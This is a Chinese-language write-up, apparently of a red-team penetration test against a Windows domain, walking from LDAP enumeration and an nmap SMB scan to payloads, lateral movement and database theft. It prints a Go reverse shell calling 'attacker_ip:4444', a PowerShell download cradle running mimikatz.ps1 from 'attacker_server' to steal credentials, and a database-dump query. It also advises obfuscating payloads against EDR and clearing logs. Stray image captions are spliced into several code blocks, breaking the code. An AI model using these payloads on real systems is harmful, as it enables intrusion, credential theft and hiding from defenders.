一、渗透的序幕

在一次真实的红队渗透测试中,我们接到任务针对一家大型企业进行模拟攻击,目标是他们的Windows域基础设施。这个案例为我们揭开了Windows域渗透的神秘面纱,同时也展示了APT攻击者如何利用域信任和协议漏洞展开攻击。

起步:信息收集的谋略

在任何攻击过程中,信息收集都是至关重要的一环。我们需要了解目标的域结构、用户及组信息、共享资源等。通过网络嗅探和各种OSINT技术,我们迅速捕获到了一些有价值的数据。

  • DNS查询:获取目标的域名及相关子域信息
  • NetBIOS/SMB扫描:识别活跃主机及其开放服务
  • LDAP查询:枚举域用户、组及计算机信息

以下是我们在信息收集阶段使用的一段Go代码,它通过LDAP协议枚举域中的用户信息:

<pre><code class="language-go">package main

黑客示意图

import ( &quot;crypto/tls&quot; &quot;fmt&quot; &quot;gopkg.in/ldap.v2&quot; )

func main() { conn, err := ldap.DialTLS(&quot;tcp&quot;, &quot;target_domain:636&quot;, &amp;tls.Config{InsecureSkipVerify: true}) if err != nil { fmt.Printf(&quot;Failed to connect: %s\n&quot;, err) return } defer conn.Close()

err = conn.Bind(&quot;cn=user,dc=domain,dc=com&quot;, &quot;password&quot;) if err != nil { fmt.Printf(&quot;Failed to bind: %s\n&quot;, err) return }

searchRequest := ldap.NewSearchRequest( &quot;dc=domain,dc=com&quot;, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, &quot;(objectClass=user)&quot;, []string{&quot;dn&quot;, &quot;cn&quot;}, nil, )

result, err := conn.Search(searchRequest) if err != nil { fmt.Printf(&quot;Failed to search: %s\n&quot;, err) return }

for _, entry := range result.Entries { fmt.Printf(&quot;User: %s\n&quot;, entry.GetAttributeValue(&quot;cn&quot;)) } }</code></pre>

这段代码呈现了如何通过LDAP协议获取域用户信息,帮助我们构造后续攻击链。

二、流量捕获实战

在信息收集后,我们开始寻找合适的攻击入口。在这个案例中,我们发现目标网络中存在一台未打补丁的Windows服务器,提供了一种可能的横向移动路径。

发现漏洞:SMB协议的陷阱

SMB协议作为Windows网络共享的重要组件,常常成为攻击者的目标。我们使用工具检测到了一个存在SMB漏洞的服务器,这为我们的渗透提供了突破口。

为了验证这个漏洞,我们编写了一段Shell脚本用于检查目标是否易受攻击:

<pre><code class="language-shell">#!/bin/bash

target=&quot;192.168.1.100&quot;

echo &quot;Scanning $target for SMB vulnerabilities...&quot;

nmap -p 445 --script smb-vuln* $target | grep -i vulnerability</code></pre>

这段脚本使用了nmap的SMB扫描功能,快速评估目标的弱点。

三、Payload构造的艺术

在确认漏洞存在后,我们开始构造恶意Payload,通过SMB协议进行代码执行。构造Payload是攻击的艺术,既要功能强大,又要能绕过目标的防御体系。

伪装与免杀

为了确保Payload在目标环境中能够顺利执行,我们将其进行混淆和加壳处理。以下是使用Go语言构造的一个简单的反向Shell:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net&quot; &quot;os/exec&quot; &quot;syscall&quot; )

func main() { conn, err := net.Dial(&quot;tcp&quot;, &quot;attacker_ip:4444&quot;) if err != nil { fmt.Printf(&quot;Failed to connect: %s\n&quot;, err) return } defer conn.Close()

cmd := exec.Command(&quot;cmd.exe&quot;) cmd.SysProcAttr = &amp;syscall.SysProcAttr{HideWindow: true} cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn

黑客示意图

cmd.Run() }</code></pre>

为了绕过目标的EDR,我们对Payload进行了混淆处理,通过动态加载、代码分段等方式提高执行成功率。

四、横向移动的策略

成功执行Payload后,我们获得了目标服务器的初步控制权。接下来,我们需要在网络中进行横向移动,扩大影响范围。

凭证窃取与利用

在横向移动中,凭证的窃取与利用是关键。我们通过内存注入等技术获取了目标服务器的用户凭证,并利用这些凭证访问其他服务器。

以下是我们使用Mimikatz工具进行凭证窃取的一段Shell代码:

<pre><code class="language-shell">#!/bin/bash

黑客示意图

echo &quot;Running Mimikatz for credential extraction...&quot; powershell.exe -Command &quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://attacker_server/mimikatz.ps1&#039;)&quot;</code></pre>

这段代码展示了如何在目标服务器上运行Mimikatz脚本,提取用户凭证供后续使用。

五、数据窃取与痕迹清除

在完成横向移动后,我们开始执行最终目标:数据窃取。我们在目标网络中发现了一台数据库服务器,通过域账户凭证成功访问。

数据窃取的技巧

为了窃取数据,我们使用了一些数据库提取工具,同时通过流量分析进一步扩展我们的数据收集范围。

黑客示意图

以下是使用Go语言编写的一个简单的数据库访问代码:

<pre><code class="language-go">package main

import ( &quot;database/sql&quot; &quot;fmt&quot; _ &quot;github.com/go-sql-driver/mysql&quot; )

func main() { db, err := sql.Open(&quot;mysql&quot;, &quot;user:password@tcp(target_db:3306)/dbname&quot;) if err != nil { fmt.Printf(&quot;Failed to connect to database: %s\n&quot;, err) return } defer db.Close()

rows, err := db.Query(&quot;SELECT data FROM sensitive_table&quot;) if err != nil { fmt.Printf(&quot;Failed to query database: %s\n&quot;, err) return } defer rows.Close()

for rows.Next() { var data string rows.Scan(&amp;data) fmt.Printf(&quot;Sensitive Data: %s\n&quot;, data) } }</code></pre>

这段代码展示了如何连接并查询目标数据库,提取敏感数据。

痕迹清除:隐秘的艺术

完成数据窃取后,我们开始清除攻击痕迹,确保难以追溯。利用日志清除工具和流量伪装技术,我们成功隐藏了攻击轨迹。

六、个人经验分享

在整个攻击过程中,我们不断调整策略以应对目标环境的变化。攻击成功的关键在于对目标系统的深入理解和巧妙利用漏洞。

实战中的教训

  1. 信息收集的重要性:充分的信息收集可以极大提高攻击成功率。
  2. 灵活的Payload设计:根据目标环境调整Payload,有效绕过防御。
  3. 凭证管理:凭证是横向移动的钥匙,需要谨慎处理。
  4. 痕迹清除:不留痕迹是避免被发现的关键。

通过这个案例,我们对Windows域渗透有了更深入的理解,同时也认识到攻击中的变化与挑战。希望这篇文章能为渗透测试人员提供实用的参考和启发。

声明:本文仅供授权安全测试和学习使用,未经授权请勿使用以上技术进行非法攻击。